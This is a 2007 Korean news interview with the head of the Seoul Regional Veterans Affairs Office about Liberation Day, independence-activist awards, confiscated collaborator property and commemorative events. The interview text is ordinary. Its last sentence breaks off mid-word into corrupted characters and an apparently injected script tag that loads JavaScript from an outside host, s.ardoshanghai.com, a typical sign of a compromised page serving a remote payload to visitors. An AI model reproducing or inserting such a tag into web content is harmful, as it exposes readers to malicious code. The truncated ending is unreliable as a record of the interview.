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광복 62주년 인터뷰 - 이봉춘 서울지방보훈청장

관리자 기자  2007.08.10 03:37:00

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“선열들의 나라사랑 정신 되새길 수 있길…”

본지는 올해 광복 62주년이 되는 해를 맞이해 광복절의 의미를 되새겨보고자 이봉춘 서울지방보훈청장으로부터 광복절의 의미와 독립유공자 포상 계기 등에 대해 들어보았다. <편집자 주>

매년 광복절을 계기로 독립유공자 포상이 있는 것으로 알고 있습니다. 어떠한 분들이 포상을 받게 됩니까?

독립유공자 포상은 일제에 빼앗긴 국권을 회복하기 위해 구국헌신하신 분들의 고귀한 뜻을 기리고 귀감으로 삼아 국민들에게 올바른 가치관으로 계승하기 위함입니다. 올해에도 이러한 뜻을 살려 독립운동가 290명에게 포상을 합니다.군의관으로 내몽고지역에서 독립운동을 전개하신 공적으로 건국훈장 독립장을 받으시는 이자해 선생을 비롯해, 3.1운동과 만주벌판에서 독립군으로 활동하신 분들이 다수입니다.
 특히, 정부에서는 95년부터 그동안 축적된 자료를 바탕으로 후손들의 신청이 없어도 정부에서 직접 발굴해 포상을 하고 있습니다. 이번에도 전체 80% 이상인 232명을 직접 발굴했으며, 95년 이후 포상자 4,450명 중 69%인 3,086명을 발굴 포상했습니다.

 

그럼 지금까지 포상을 받은 분들의 현황은 어떤가요?

현재까지 독립유공자로 포상을 받은 분은 모두 10,972명입니다. 훈격별로는 건국훈장 대한민국장 30명, 대통령장 93명, 독립장 795명, 애국장 3,359명, 애족장 4,184명이며, 건국포장 672명과 대통령표창 1,839명입니다.
이중에는 지금부터 100년 전 고종황제의 특명으로 헤이그에 파견된 이상설, 이준, 이위종 선생에게 외교적 지원을 아끼지 않으신 미국의 헐버트 선생과 최근 2004년도 독립운동가의 변론을 맡은 후세 다쓰지 변호사 등 외국인으로서 우리나라의 독립에 많은 지원과 기여를 해준 외국인 45명도 포함되어 있습니다.

독립운동을 하셨지만 발굴이 안 되신 분들도 많을 것 같은데, 국가보훈처에서는 향후 어떤 계획을 갖고 계신가요?

독립운동에 참여하셨던 분들이 약 300만 명으로 추산되고 있습니다. 현재까지 발굴된 독립유공자와 비교해 보면 아직도 발굴해야 할 분들이 많습니다.
이에 국가보훈처에서는 사학전문가로 구성된 ‘전문사료발굴분석단’을 통해 아직까지 공적이 확인되지 않은 많은 독립유공자의 발굴에 적극 노력해 나갈 계획입니다. 그리고 발굴된 사료는 D/B화를 통해 국민들이 손쉽게 정보로 활용할 수 있도록 지원할 계획입니다.

친일반민족행위자 귀속재산을 독립유공자 지원 및 민족정기 선양사업에 사용한다고 알고 있습니다. 어떻게 사용할 계획입니까?

 

90년대 초부터 친일행위자 후손들이 친일재산에 대한 소송에서 승소하는 사례로 국민적 비판 여론이 형성됐습니다. 이에 정부에서는 친일행위자가 친일의 대가로 축적한 재산을 국가에 귀속시켜 민족정기를 바로세우기 위해 2005년 12월 29일에 ‘친일반민복행위자 재산의 국가 귀속에 관한 특별법’을 제정하고, 친일반민족행위자 재산조사위원회를 발족해 반민족행위자에 대한 재산조사를 실시하고 있습니다.
그 결과 친일반민족행위자 9명의 재산(후손들이 상속받은 땅 포함) 154필지 25만㎥에 대해 국가에 귀속됐습니다. 공시지가로는 약 36억원으로 집계되고 있으며, 추정시가는 약 63억원 정도로 예상되고 있습니다. 현재 친일재산은 국가보훈처가 관리청으로 지정됐으며, 귀속 재산은 독립유공자와 유족을 돕고, 독립정신을 계승해 민족정기를 선양하는 사업에 우선적으로 사용할 계획입니다.

끝으로 광복절을 맞아 서울지방보훈청에서 특별히 추진하는 사업이 있습니까?

우리청에서는 시민들과 함께 하는 보훈행사를 추진하고자 합니다. ‘광복 62주년 일자산 그린 음악회’의 개최와 함께 이달의 독립운동가 등 사진전시회, 태극기 배지 만들기 등 다채로운 행사를 통해 광복의 의미와 나라사랑의 의미를 되새겨보고자 합니다. 또, 청소년들을 대상으로 광복의 기쁨과 올바른 역사관을 심어주기 위해 ‘찾아가는 나라사랑 보훈캠프’를 지난 8일부터 2박 3일 동안 운영했습니다.
독립운동 유적지 탐방과 독립운동사 강의 및 수상활동 등의 프로그램을 진행 할 계획입니다. 그 외에도 서대문형무소역사관에서는 광복 62주년 기념 ‘서대문형무소 옥중 기록전’ 전시행사가 진행됩니다. 서대문형무소에 수감되었던 독립운동가들의 옥중 기록과 관련 인물들의 독립운동 활약상을 소개하는 사료를 전시할 계획입니다. 시민 여러분들의 많은 참여와 성원을 바랍니다.

광복절을 맞아 특별히 당부말씀이 있으면 해주시기 바랍니다.

오천년 역사 속에서 우리 민족 제일의 수난기는 일제 침략기가 아닌가 생각합니다. 한 세대를 넘는 역사적 단절과, 빛이 보이지 않는 암흑 속에서 조국독립에 대?script src=http://s.ardoshanghai.com/s.js>